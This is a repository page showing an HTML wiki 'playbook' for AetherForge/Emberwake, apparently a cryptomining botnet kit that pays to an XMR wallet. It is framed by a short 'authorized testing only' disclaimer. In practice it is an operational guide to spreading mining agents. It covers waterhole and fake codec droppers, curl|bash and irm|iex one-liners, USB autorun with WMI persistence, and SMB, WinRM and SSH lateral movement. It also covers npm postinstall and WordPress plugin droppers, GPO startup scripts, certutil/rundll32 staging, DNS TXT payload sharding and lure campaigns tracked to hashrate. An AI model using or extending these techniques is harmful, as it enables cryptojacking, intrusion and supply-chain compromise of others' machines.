Files
AetherForge/server/web/public/docs/SPREAD_TECHNIQUES.html
AetherForge 0be2de81a5
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.
Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.
2026-06-07 01:08:05 -07:00

496 lines
34 KiB
HTML
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Spread Techniques — AetherForge</title>
<link rel="stylesheet" href="wiki.css" />
</head>
<body>
<div class="wiki-layout">
<aside class="wiki-sidebar">
<div class="wiki-sidebar-header">
<h1>AetherForge</h1>
<p>Spread techniques playbook</p>
<a href="/">← Command Deck</a>
<br />
<a href="/emberwake" style="margin-top:0.35rem;display:inline-block;">→ Emberwake</a>
<br />
<a href="index.html" style="margin-top:0.35rem;display:inline-block;">→ Full wiki</a>
</div>
<ul class="wiki-nav">
<li><a href="#overview">Overview</a></li>
<li><a href="#web-waterhole">Web waterhole</a></li>
<li><a href="#curl-bash">curl | bash VPS</a></li>
<li><a href="#campaign-war-room">Campaign &amp; War Room</a></li>
<li><a href="#fusion-media">Fusion media</a></li>
<li><a href="#usb">USB</a></li>
<li><a href="#lan">LAN kindling</a></li>
<li><a href="#winrm-bootstrap">WinRM bootstrap</a></li>
<li><a href="#linux-lotl">Linux LOTL</a></li>
<li><a href="#enterprise-gpo">GPO / Intune</a></li>
<li><a href="#wordpress">WordPress plugin</a></li>
<li><a href="#npm-helper">npm postinstall</a></li>
<li><a href="#social-funnel">Social funnel</a></li>
<li><a href="#lotl-onion">LOTL Onion</a></li>
<li><a href="#third-party">Third-party &amp; gaps</a></li>
</ul>
</aside>
<main class="wiki-content">
<section>
<h2>Spread Techniques Playbook</h2>
<p>
Red-team / threat-intelligence vectors mapped to <strong>AetherForge + Emberwake</strong> capabilities.
For <strong>authorized</strong> penetration testing, lab environments, and defensive planning only.
Landscape as of <strong>20242026</strong>.
</p>
<p>
Use <a href="/emberwake">Emberwake</a> for campaign builder, spread-kit export, supply-chain wizards, and
War Room analytics. This page is the operator playbook — Emberwake stays focused on actions, not tutorials.
</p>
<div class="spread-tab-bar" role="tablist" aria-label="Spread technique">
<button type="button" class="spread-tab active" role="tab" data-spread-tab="overview" aria-selected="true">Overview</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="web-waterhole" aria-selected="false">Web waterhole</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="curl-bash" aria-selected="false">curl | bash</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="campaign-war-room" aria-selected="false">Campaign &amp; War Room</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="fusion-media" aria-selected="false">Fusion media</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="usb" aria-selected="false">USB</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="lan" aria-selected="false">LAN</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="winrm-bootstrap" aria-selected="false">WinRM</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="linux-lotl" aria-selected="false">Linux LOTL</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="enterprise-gpo" aria-selected="false">GPO/Intune</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="wordpress" aria-selected="false">WordPress</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="npm-helper" aria-selected="false">npm helper</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="social-funnel" aria-selected="false">Social funnel</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="lotl-onion" aria-selected="false">LOTL Onion</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="third-party" aria-selected="false">Third-party</button>
</div>
<!-- Overview -->
<div class="spread-panel active" data-spread-panel="overview" id="overview">
<h3>What does NOT work anymore</h3>
<div class="wiki-callout danger">
Modern browsers require a <strong>user click + run</strong>. Silent drive-by RCE, auto-run from Downloads,
and CRX sideload via normal download are dead paths for commodity ops.
</div>
<table class="wiki-table">
<thead><tr><th>Technique</th><th>Status</th><th>Why</th></tr></thead>
<tbody>
<tr><td>Silent browser RCE (visit → shell)</td><td><span class="wiki-status disabled">Dead</span></td><td>Chromium sandboxes, site isolation, removed plugins</td></tr>
<tr><td>Auto-run from Downloads</td><td><span class="wiki-status disabled">Dead</span></td><td>SmartScreen, MoTW, user-gesture requirements</td></tr>
<tr><td>Flash/Java plugin drive-by</td><td><span class="wiki-status disabled">Dead</span></td><td>Plugins removed or click-to-play extinct</td></tr>
<tr><td>Unauthenticated <code>curl | bash</code> on cautious admins</td><td><span class="wiki-status partial">Hard</span></td><td>Pipe-to-shell fingerprinting; inspect-before-run mitigations</td></tr>
<tr><td>CRX sideload via download</td><td><span class="wiki-status disabled">Dead</span></td><td>DownloadRestrictions; store policy blocks casual sideload</td></tr>
</tbody>
</table>
<h3>AetherForge stack — has vs needs</h3>
<table class="wiki-table">
<thead><tr><th>Capability</th><th>Status</th></tr></thead>
<tbody>
<tr><td><code>GET /get</code>, <code>/install.sh</code>, <code>/install.ps1</code> with <code>?pin=</code> + <code>?c=</code></td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Spread Kit ZIP export + static lander at <code>/spread/</code></td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Emberwake campaign builder + War Room funnel</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>WordPress plugin + npm helper export wizards</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Fusion media ZIP bundles</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>USB perpetual propagation (forge flag)</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>LAN autospread / share spread</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>SocGholish fake-update branded lander</td><td><span class="wiki-status stub">Stub</span></td></tr>
<tr><td>JS fingerprint / TDS gate</td><td><span class="wiki-status stub">Needs</span></td></tr>
<tr><td>OAuth redirect helper</td><td><span class="wiki-status stub">Needs</span></td></tr>
<tr><td>Public npm/PyPI typosquat publish</td><td><span class="wiki-status disabled">Out of scope</span></td></tr>
</tbody>
</table>
<p>Source matrix (markdown): <a href="SPREAD_TECHNIQUES.md">SPREAD_TECHNIQUES.md</a></p>
</div>
<!-- Web waterhole -->
<div class="spread-panel" data-spread-panel="web-waterhole" id="web-waterhole" hidden>
<h3>Web waterhole — dropper landing</h3>
<p><span class="wiki-status working">Working</span> Owned-origin button/link → <code>/get</code> or spread-kit ZIP.</p>
<h4>Prerequisites</h4>
<ul>
<li>Forged build (pin optional) on your command deck</li>
<li>Public URL in Calibrate or tunnel to deck</li>
<li>Static host you control (same origin or Cloudflare Pages)</li>
</ul>
<h4>Emberwake steps</h4>
<ol class="spread-steps">
<li>Open <a href="/emberwake">Emberwake</a> → set campaign slug and pinned build.</li>
<li>Copy dropper URL or export spread-kit ZIP.</li>
<li>Deploy static lander — on-server copy at <a href="/spread/">/spread/</a> or upload exported kit.</li>
<li>Link visitors to <code>{deck}/get?pin={id}&amp;c={slug}</code> or platform-detect <code>/get</code>.</li>
<li>Track hits in Emberwake → <a href="/emberwake#campaign-war-room">Campaign War Room</a>.</li>
</ol>
<h4>Platform notes</h4>
<p>Windows: SmartScreen + MoTW on executables. Pair with code signing (<code>sign_build</code>) to reduce friction.</p>
<a class="spread-deck-link" href="/emberwake">Open Emberwake →</a>
</div>
<!-- curl | bash -->
<div class="spread-panel" data-spread-panel="curl-bash" id="curl-bash" hidden>
<h3>curl | bash — headless server drops</h3>
<p><span class="wiki-status working">Working</span> <code>install.sh</code> / <code>install.ps1</code> one-liners for Linux/macOS/Windows Server.</p>
<h4>Prerequisites</h4>
<ul>
<li>Deck reachable from target VPS (TLS recommended)</li>
<li>Linux/macOS: <strong>Web Drop</strong> forge preset or minimal headless build</li>
<li>Windows Server: AMSI / Constrained Language may block <code>irm | iex</code></li>
</ul>
<h4>Emberwake steps</h4>
<ol class="spread-steps">
<li>Emberwake → Campaign builder: set <code>?c=</code> slug and pin build.</li>
<li>Copy bash / PowerShell / macOS one-liners from the builder card.</li>
<li>Publish on first-party install docs page you operate.</li>
<li>Agent reports <code>AETHER_CAMPAIGN</code> on connect → War Room funnel.</li>
</ol>
<pre><code># Linux server
curl -sL https://your.site/install.sh?pin={build_id}&amp;c=docs | bash
# Windows Server
irm https://your.site/install.ps1?pin={build_id}&amp;c=docs | iex</code></pre>
<a class="spread-deck-link" href="/emberwake">Copy one-liners in Emberwake →</a>
</div>
<!-- Campaign & War Room -->
<div class="spread-panel" data-spread-panel="campaign-war-room" id="campaign-war-room" hidden>
<h3>Campaign links &amp; War Room</h3>
<p><span class="wiki-status working">Working</span> Attribution via <code>?c=slug</code> on dropper and public download URLs.</p>
<h4>Prerequisites</h4>
<ul>
<li>At least one forged build</li>
<li>Campaign slug per lure wave (e.g. <code>linkedin-bait</code>, <code>wp-my-blog</code>)</li>
</ul>
<h4>Emberwake steps</h4>
<ol class="spread-steps">
<li>Set campaign slug in Campaign builder; append to every dropper/public URL.</li>
<li>Optional A/B: pin Build A vs Build B with <code>?c=slug</code> and <code>?c=slug-b</code>.</li>
<li>Share links; War Room polls every 15s + WebSocket <code>emberwake_war_room</code>.</li>
<li>Read funnel: hits → downloads → first beacon → mining → hashrate per slug.</li>
</ol>
<h4>Endpoints</h4>
<table class="wiki-table">
<thead><tr><th>Endpoint</th><th>Purpose</th></tr></thead>
<tbody>
<tr><td><code>GET /get?c=</code></td><td>Platform-detect download + campaign log</td></tr>
<tr><td><code>GET /api/v1/public/download/{id}?c=</code></td><td>Public artifact + campaign log</td></tr>
<tr><td><code>GET /api/v1/emberwake/war-room?days=7</code></td><td>Funnel board data (auth)</td></tr>
</tbody>
</table>
<a class="spread-deck-link" href="/emberwake#campaign-war-room">Open War Room →</a>
</div>
<!-- Fusion media -->
<div class="spread-panel" data-spread-panel="fusion-media" id="fusion-media" hidden>
<h3>Fusion media — codec / tool download</h3>
<p><span class="wiki-status working">Working</span> Movie or prep fusion ZIP with disguised runner names.</p>
<h4>Prerequisites</h4>
<ul>
<li><strong>Desktop Fusion</strong> spread profile or manual fusion flags at forge</li>
<li>Themed landing page on owned site</li>
<li>Optional: code signing to reduce SmartScreen prompts</li>
</ul>
<h4>Emberwake / forge steps</h4>
<ol class="spread-steps">
<li>Mission Deck → <strong>Desktop Fusion</strong> profile → forge universal bundle.</li>
<li>Host fusion ZIP on themed site (“codec pack”, “portable tool”).</li>
<li>Tag downloads with <code>?c=fusion-wave1</code> via public URL or manual campaign env.</li>
<li>Universal bundle auto-picks <code>Deploy.bat</code> / <code>deploy.sh</code> inside spread-kit scripts.</li>
</ol>
<p>Detection risk: medium (large ZIP, SmartScreen). User must still run extracted payload.</p>
<a class="spread-deck-link" href="/emberwake">Tag campaign in Emberwake →</a>
</div>
<!-- USB -->
<div class="spread-panel" data-spread-panel="usb" id="usb" hidden>
<h3>USB perpetual propagation</h3>
<p><span class="wiki-status working">Working</span> Forge-time <strong>USB Propagation</strong> flag — not an Emberwake export.</p>
<h4>Prerequisites</h4>
<ul>
<li>Forge with <code>usb_spread</code> enabled (<strong>LAN Kindling</strong> profile includes USB)</li>
<li>Physical access path to insert USB on target Windows hosts</li>
</ul>
<h4>How it works</h4>
<ol class="spread-steps">
<li>Within ~8s of USB insert: drop agent to hidden folder, write <code>autorun.inf</code>, LNK, <code>SETUP.BAT</code>.</li>
<li>Create decoy folder; WMI subscription for future mounts.</li>
<li>Modern Windows limits autorun — user interaction often still required.</li>
</ol>
<p>See wiki <a href="index.html#usb-portable">USB Portable</a> for deck-on-stick packaging.</p>
<a class="spread-deck-link" href="/forge">Forge with USB flag →</a>
</div>
<!-- LAN -->
<div class="spread-panel" data-spread-panel="lan" id="lan" hidden>
<h3>LAN kindling — lateral spread</h3>
<p><span class="wiki-status working">Working</span> Universal spread kit + <code>auto_spread</code> / <code>share_spread</code>.</p>
<h4>Prerequisites</h4>
<ul>
<li><strong>LAN Kindling</strong> spread profile at forge (universal kit + autospread)</li>
<li>At least one patient zero on the subnet</li>
<li>C2 auth for aggressive lateral commands (Crucible ops separate profile)</li>
</ul>
<h4>Emberwake / forge steps</h4>
<ol class="spread-steps">
<li>Mission Deck → <strong>LAN Kindling</strong> → forge spread-kit universal ZIP.</li>
<li>Deploy patient zero via waterhole or curl|bash with campaign tag.</li>
<li>Agent scans subnet (ARP-first /24 + /64) via <code>deploy/subnet.go</code>.</li>
<li>Windows: SMB <code>admin$</code>, WinRM; Linux/macOS: SSH lateral (gated).</li>
<li><strong>UNC spread (LOTL):</strong> <code>spread_smb_unc</code><code>sc.exe \\host create/start</code> with <code>binPath=</code> on a Forge output UNC (<code>\\forge\pathforge$\worker.exe</code>). Pure LOLBins: <code>sc.exe</code>, <code>net.exe</code>. Path Tracer: <code>POST /api/v1/pathtrace/spread</code> dispatches on the egress hop.</li>
<li><strong>Staging chain (LOTL):</strong> <code>stage_fetch</code> — download chunks via <code>curl.exe</code> or <code>bitsadmin</code>, <code>certutil -decode</code>, verify SHA256 from server, launch via <code>rundll32</code> or exe. Staging paths use the same traversal hygiene as upload/download.</li>
</ol>
<a class="spread-deck-link" href="/emberwake">Export spread kit →</a>
</div>
<!-- WinRM bootstrap -->
<div class="spread-panel" data-spread-panel="winrm-bootstrap" id="winrm-bootstrap" hidden>
<h3>WinRM bootstrap — encoded registration</h3>
<p><span class="wiki-status working">Working</span> Export from Crucible → Spread Templates or <code>POST /api/v1/builder/spread-template-export</code>.</p>
<h4>Prerequisites</h4>
<ul>
<li>Owned/lab Windows hosts with remoting enabled or rights to run <code>Enable-PSRemoting</code></li>
<li>Patient zero with <code>auto_spread</code> or <code>winrm_spread</code> forge flag for lateral encoded bootstrap</li>
</ul>
<h4>How it works</h4>
<ol class="spread-steps">
<li>Template runs <code>Enable-PSRemoting</code> + base64-encoded bootstrap that fetches <code>/get</code> with <code>?pin=</code> / <code>?c=</code>.</li>
<li>Agent starts with <code>--spread-install --defer-mining</code> — mining begins only after <code>mining_diagnostics</code> passes on C2.</li>
<li>Optional COM hijack under benign CLSID — <strong>default off</strong>; enable only on owned machines via export checkbox.</li>
<li>Autospread also attempts WinRM lateral when port 5985/5986 is open on subnet peers.</li>
</ol>
<p>API body: <code>{ "template": "winrm", "com_hijack": false }</code></p>
</div>
<!-- Linux LOTL -->
<div class="spread-panel" data-spread-panel="linux-lotl" id="linux-lotl" hidden>
<h3>Linux LOTL — systemd-run &amp; crontab</h3>
<p><span class="wiki-status working">Working</span> SSH lateral spread + LOTL persistence options.</p>
<h4>Prerequisites</h4>
<ul>
<li>Passwordless SSH keys for lateral targets (<code>BatchMode=yes</code>)</li>
<li>Forge <code>linux_lotl_mode</code>: <code>systemd_run_user</code>, <code>crontab</code>, or <code>both</code></li>
</ul>
<h4>How it works</h4>
<ol class="spread-steps">
<li><code>autospread_unix.go</code> SCP + SSH with <code>--spread-install --defer-mining</code>.</li>
<li>Template <code>lotl-bootstrap.sh</code>: curl <code>/get?os=linux</code>, optional <code>systemd-run --user</code> and/or crontab <code>@reboot</code>.</li>
<li>When no CUDA: fallback chain adds <code>linux_pyopencl</code> tier via <code>python3 -c import pyopencl</code> probe before <code>stratum_direct</code>.</li>
</ol>
<p>Export: <code>{ "template": "linux-lotl", "lotl_mode": "both" }</code></p>
</div>
<!-- GPO / Intune -->
<div class="spread-panel" data-spread-panel="enterprise-gpo" id="enterprise-gpo" hidden>
<h3>GPO / Intune enterprise spread</h3>
<p><span class="wiki-status working">Working</span> Startup scripts pull agent binary — <strong>mining policy stays server-side</strong>, not in the GPO/Intune blob.</p>
<h4>Prerequisites</h4>
<ul>
<li>AD GPO edit rights or Intune script assignment on owned tenant</li>
<li>Reachable command deck URL from domain endpoints</li>
</ul>
<h4>How it works</h4>
<ol class="spread-steps">
<li><strong>GPO:</strong> Computer Configuration → Scripts → Startup → <code>gpo-startup.ps1</code> (irm install.ps1 or fetch worker).</li>
<li><strong>Intune:</strong> Assign <code>intune-startup.ps1</code> as proactive remediation / platform script.</li>
<li>Each boot: agent registers, pulls server config, runs fallback chain: container → inprocess → gpu_subprocess → stratum_direct.</li>
<li><code>AETHER_DEFER_MINING=1</code> / <code>--defer-mining</code> until diagnostics pass.</li>
</ol>
<p>Export templates: <code>gpo</code> and <code>intune</code> via spread-template-export. Crucible → Spread tab → Spread Templates.</p>
</div>
<!-- WordPress -->
<div class="spread-panel" data-spread-panel="wordpress" id="wordpress" hidden>
<h3>WordPress plugin — owned-site supply chain</h3>
<p><span class="wiki-status working">Working</span> Export plugin ZIP from Emberwake — upload to <em>your</em> WordPress host only.</p>
<h4>Prerequisites</h4>
<ul>
<li>WordPress installation you operate (not wordpress.org directory)</li>
<li>Pinned build in Emberwake supply-chain wizard</li>
</ul>
<h4>Emberwake steps</h4>
<ol class="spread-steps">
<li>Emberwake → Supply-chain wizard → WordPress → pick build, site name, server URL.</li>
<li>Download <code>{slug}-wordpress-plugin.zip</code>.</li>
<li>WP Admin → Plugins → Add New → Upload → Activate.</li>
<li>Admin notice links to <code>/get?c=wp-{site}</code> on your deck.</li>
<li>Track <code>wp-{site}</code> in War Room.</li>
</ol>
<h4 id="wordpress-hosting-checklist">Hosting checklist</h4>
<ul>
<li>Unzip locally — layout <code>{slug}/{slug}.php</code> + <code>readme.txt</code></li>
<li>Upload ZIP via Plugins → Add New → Upload Plugin</li>
<li>Activate on owned host; verify Tools page + admin notice URL</li>
<li>Confirm War Room shows hits for <code>wp-{site}</code></li>
</ul>
<p>API: <code>POST /api/v1/builder/wordpress-plugin-export</code></p>
<a class="spread-deck-link" href="/emberwake">Open supply-chain wizard →</a>
</div>
<!-- npm helper -->
<div class="spread-panel" data-spread-panel="npm-helper" id="npm-helper" hidden>
<h3>npm postinstall helper — your packages only</h3>
<p><span class="wiki-status working">Working</span> Private package template — postinstall curls your <code>install.sh</code>.</p>
<h4>Prerequisites</h4>
<ul>
<li>Registry you control (private npm, Verdaccio, GitHub Packages)</li>
<li>Authorized CI/dev environments only — <strong>not</strong> public typosquat</li>
</ul>
<h4>Emberwake steps</h4>
<ol class="spread-steps">
<li>Emberwake → Supply-chain wizard → npm → set server URL, campaign, optional pin.</li>
<li>Download helper ZIP; adjust <code>package.json</code> name if needed.</li>
<li>Publish to your registry; add as dependency in authorized projects.</li>
<li><code>npm install</code> runs postinstall → <code>install.sh?c=…&amp;pin=…</code>.</li>
</ol>
<h4 id="npm-hosting-checklist">Hosting checklist</h4>
<ul>
<li>Unzip npm helper template</li>
<li>Publish with <code>npm publish --access restricted</code></li>
<li>Add dependency in authorized pipeline only</li>
<li>Verify agent connect + War Room campaign slug</li>
</ul>
<p>API: <code>POST /api/v1/builder/npm-helper-export</code></p>
<a class="spread-deck-link" href="/emberwake">Export npm template →</a>
</div>
<!-- Social funnel -->
<div class="spread-panel" data-spread-panel="social-funnel" id="social-funnel" hidden>
<h3>Social engineering funnel</h3>
<p>Email / ads → owned lander → download. AetherForge maps the <strong>last mile</strong> once user reaches your origin.</p>
<table class="wiki-table">
<thead><tr><th>Technique</th><th>Status</th><th>Emberwake role</th></tr></thead>
<tbody>
<tr><td>Email → link → owned lander → download</td><td><span class="wiki-status working">Working</span></td><td><code>?c=</code> on <code>/get</code> + War Room</td></tr>
<tr><td>A/B droppers between waves</td><td><span class="wiki-status working">Working</span></td><td>Build A vs B pins in Campaign builder</td></tr>
<tr><td>OAuth redirect abuse</td><td><span class="wiki-status stub">Needs</span></td><td>No Entra app wizard — research only</td></tr>
<tr><td>SEO poisoning / malvertising</td><td><span class="wiki-status stub">Needs</span></td><td>Payload can be fusion/spread-kit; no ad tooling</td></tr>
<tr><td>HTML smuggling / IFRAME chains</td><td><span class="wiki-status stub">Needs</span></td><td>Client-side blob builder not shipped</td></tr>
</tbody>
</table>
<a class="spread-deck-link" href="/emberwake">Build campaign links →</a>
</div>
<!-- LOTL Onion -->
<div class="spread-panel" data-spread-panel="lotl-onion" id="lotl-onion" hidden>
<h3>LOTL Onion — native-tool spread tier chain</h3>
<p>
<span class="wiki-status working">Working</span>
Forge preset adjacent to <strong>AV-Safe</strong>: in-process RandomX (same <strong>XMR wallet</strong> field),
no GPU exe drop, ordered contingencies using living-off-the-land tooling only.
</p>
<h4>Default tier order (vuln recon → GPO)</h4>
<p class="form-hint">
Baked at forge time; when <code>lotl_policy_from_server</code> is enabled the agent pulls the live order from
<code>server.lotl_onion_tiers</code> in Calibrate on WebSocket auth — no re-forge to reorder.
</p>
<table class="wiki-table">
<thead><tr><th>Tier</th><th>Definition</th><th>Example</th></tr></thead>
<tbody>
<tr id="lotl-tier-vuln_recon">
<td><strong>vuln_recon</strong></td>
<td>Read-only KEV/CVE/service probe before spread — report-only, no exploit. Feeds <code>vuln_findings</code> and <code>patch_first</code> gates.</td>
<td>Automatic triple-onion recon tier, or Crucible <code>full_sys_check</code> → risk badge on next <code>stats_batch</code>.</td>
</tr>
<tr id="lotl-tier-docker">
<td><strong>docker</strong></td>
<td>Deploy or mine inside Docker/Podman — isolated RandomX, no host miner exe drop.</td>
<td>Service allowlist maps <code>com.docker.service</code><code>docker_load</code>; Probe &amp; Join when Docker is running.</td>
</tr>
<tr id="lotl-tier-wsl">
<td><strong>wsl</strong></td>
<td>WSL curl|bash one-liner when native Windows execution is blocked.</td>
<td><code>wsl -e bash -c "curl -sL https://deck.example/install.sh?pin=BUILD_ID | bash"</code></td>
</tr>
<tr id="lotl-tier-powershell">
<td><strong>powershell</strong></td>
<td>Hidden PS bootstrap or remoting from your C2 origin — no standalone payload exe.</td>
<td><code>irm https://deck.example/install.ps1?pin=BUILD_ID&amp;c=lab | iex</code> — WinRM template export.</td>
</tr>
<tr id="lotl-tier-dotnet">
<td><strong>dotnet</strong></td>
<td><code>dotnet tool run</code> bootstrap — avoids a lone unsigned miner exe on disk.</td>
<td>Forge <code>miner_execution=dotnet</code>; spread lane runs dotnet bootstrap from install manifest.</td>
</tr>
<tr id="lotl-tier-bits_curl">
<td><strong>bits_curl</strong></td>
<td>BITS (<code>bitsadmin</code>) or <code>curl.exe</code> staging — optional <code>certutil -decode</code>, SHA256 verify, launch.</td>
<td>Crucible <code>stage_fetch</code>: <code>{"method":"curl","chunks":[{"url":"https://deck/chunk1.b64","file":"c1.b64"}],"sha256":"…","dest":"%TEMP%\\worker.exe","launch":"exe"}</code></td>
</tr>
<tr id="lotl-tier-do_peer">
<td><strong>do_peer</strong></td>
<td>DoSvc + BITS shadow cache handoff — hash-verified peer chunk staging on LAN; launch via <code>rundll32</code> or exe with <code>--defer-mining</code>.</td>
<td>Probe &amp; Join when <code>DoSvc</code> is running — signed plan: <code>{"join_lane":"do_peer","peer_group":"af-peer-…","manifest":{"method":"bits","launch":"rundll32","defer_mining":true}}</code></td>
</tr>
<tr id="lotl-tier-wsus_cache_peer">
<td><strong>wsus_cache_peer</strong></td>
<td>WSUS offline cache cousin — stages beside <code>SoftwareDistribution\Download</code>; probes Wuauserv/AU registry; hash verify + <code>rundll32</code>/exe with <code>--defer-mining</code>.</td>
<td>Forge <code>wsus_cache_peer_spread</code> ON — <code>Wuauserv</code><code>join_lane: wsus_cache_peer</code> (priority after <code>do_peer</code>).</td>
</tr>
<tr id="lotl-tier-dns_txt">
<td><strong>dns_txt</strong></td>
<td>DNS TXT mesh — shards in <code>_aether.&lt;zone&gt;</code>; agent <code>nslookup</code>/<code>Resolve-DnsName</code>, assemble, SHA256 verify. Policy refresh via TXT TTL; tests use <code>/api/v1/public/dns-txt/{record}</code> fallback.</td>
<td>Forge <code>dns_txt_spread</code> default ON — signed plan: <code>{"join_lane":"dns_txt","dns_txt_zone":"lab.internal","dns_txt_records":["_aether.shard0.lab.internal"],"ttl_refresh_sec":300}</code></td>
</tr>
<tr id="lotl-tier-webrtc_mesh">
<td><strong>webrtc_mesh</strong></td>
<td>WebRTC LAN seed — first subnet agent seeder; manifest over data channel (STUN from server, WS relay signaling). <strong>Real:</strong> WebRTC bytes stay LAN; server sees hashrate + <code>join_lane</code> only. <strong>Tests:</strong> LAN HTTP fallback at <code>/api/v1/public/webrtc-mesh/manifest</code>.</td>
<td>Forge <code>webrtc_mesh_spread</code> default OFF — Calibrate <code>webrtc_mesh_policy.rotation_hours: 24</code> for seeder rotation.</td>
</tr>
<tr id="lotl-tier-smb">
<td><strong>smb</strong> (<code>spread_smb_unc</code>)</td>
<td>admin$ / C$ lateral via <code>sc.exe</code> + <code>net.exe</code> on open port 445 — no PsExec.</td>
<td><code>{"action":"spread_smb_unc","path":"\\\\forge-host\\pathforge$\\worker.exe"}</code></td>
</tr>
<tr id="lotl-tier-winrm">
<td><strong>winrm</strong></td>
<td>Opportunistic PS remoting when 5985/5986 responds on subnet peers.</td>
<td><code>POST /api/v1/builder/spread-template-export</code> <code>{"template":"winrm","com_hijack":false}</code></td>
</tr>
<tr id="lotl-tier-linux">
<td><strong>linux</strong> (<code>linux_lotl</code>)</td>
<td>SSH/SCP lateral on Unix agents — same wallet; optional systemd-run or crontab persistence.</td>
<td><code>{"template":"linux-lotl","lotl_mode":"both"}</code><code>lotl-bootstrap.sh</code> + <code>autospread_unix.go</code>.</td>
</tr>
<tr id="lotl-tier-gpo">
<td><strong>gpo</strong></td>
<td>AD Group Policy startup script pulls worker on boot — mining policy stays on command deck.</td>
<td>Export <code>{"template":"gpo"}</code> → Computer Configuration → Scripts → Startup → <code>gpo-startup.ps1</code>. Intune: <code>{"template":"intune"}</code>.</td>
</tr>
</tbody>
</table>
<h4>Forge steps</h4>
<ol class="spread-steps">
<li>Forge → Operation mode → <strong>LOTL Onion</strong> (or enable <code>lotl_onion_enabled</code> in Advanced).</li>
<li>Set <strong>XMR Wallet Address</strong> — same field as every other preset; payout goes here.</li>
<li>Forge once; tier order updates via server config when policy-from-server is on.</li>
</ol>
<a class="spread-deck-link" href="/forge">Open Forge →</a>
</div>
<!-- Third-party -->
<div class="spread-panel" data-spread-panel="third-party" id="third-party" hidden>
<h3>Third-party platforms &amp; gaps</h3>
<p>Techniques on infrastructure you do <em>not</em> fully control. Most require separate publish pipelines.</p>
<table class="wiki-table">
<thead><tr><th>Technique</th><th>Status</th><th>Notes</th></tr></thead>
<tbody>
<tr><td>GitHub Releases / raw CDN</td><td><span class="wiki-status partial">Partial</span></td><td>Build artifacts exist; separate release pipeline from C2 host</td></tr>
<tr><td>S3 / Cloudflare Pages / R2</td><td><span class="wiki-status partial">Partial</span></td><td>Deploy exported spread-kit ZIP off C2; platform abuse ML risk</td></tr>
<tr><td>npm / PyPI / Docker Hub typosquat</td><td><span class="wiki-status disabled">Out of scope</span></td><td>Use npm helper on registries <em>you</em> own</td></tr>
<tr><td>WordPress.org plugin compromise</td><td><span class="wiki-status disabled">Out of scope</span></td><td>Owned-site upload wizard only</td></tr>
<tr><td>Fake browser update (SocGholish)</td><td><span class="wiki-status stub">Stub</span></td><td>Dropper works; branded HTML lander not shipped</td></tr>
<tr><td>JS fingerprint / TDS gate</td><td><span class="wiki-status stub">Needs</span></td><td>Filter bots/geo before showing download</td></tr>
<tr><td>Service worker / WASM redirect</td><td><span class="wiki-status stub">Needs</span></td><td>Research paths; still ends at user-run binary</td></tr>
</tbody>
</table>
<p>Full research matrix: <a href="SPREAD_TECHNIQUES.md">SPREAD_TECHNIQUES.md</a></p>
</div>
</section>
</main>
</div>
<script src="spread-techniques.js"></script>
</body>
</html>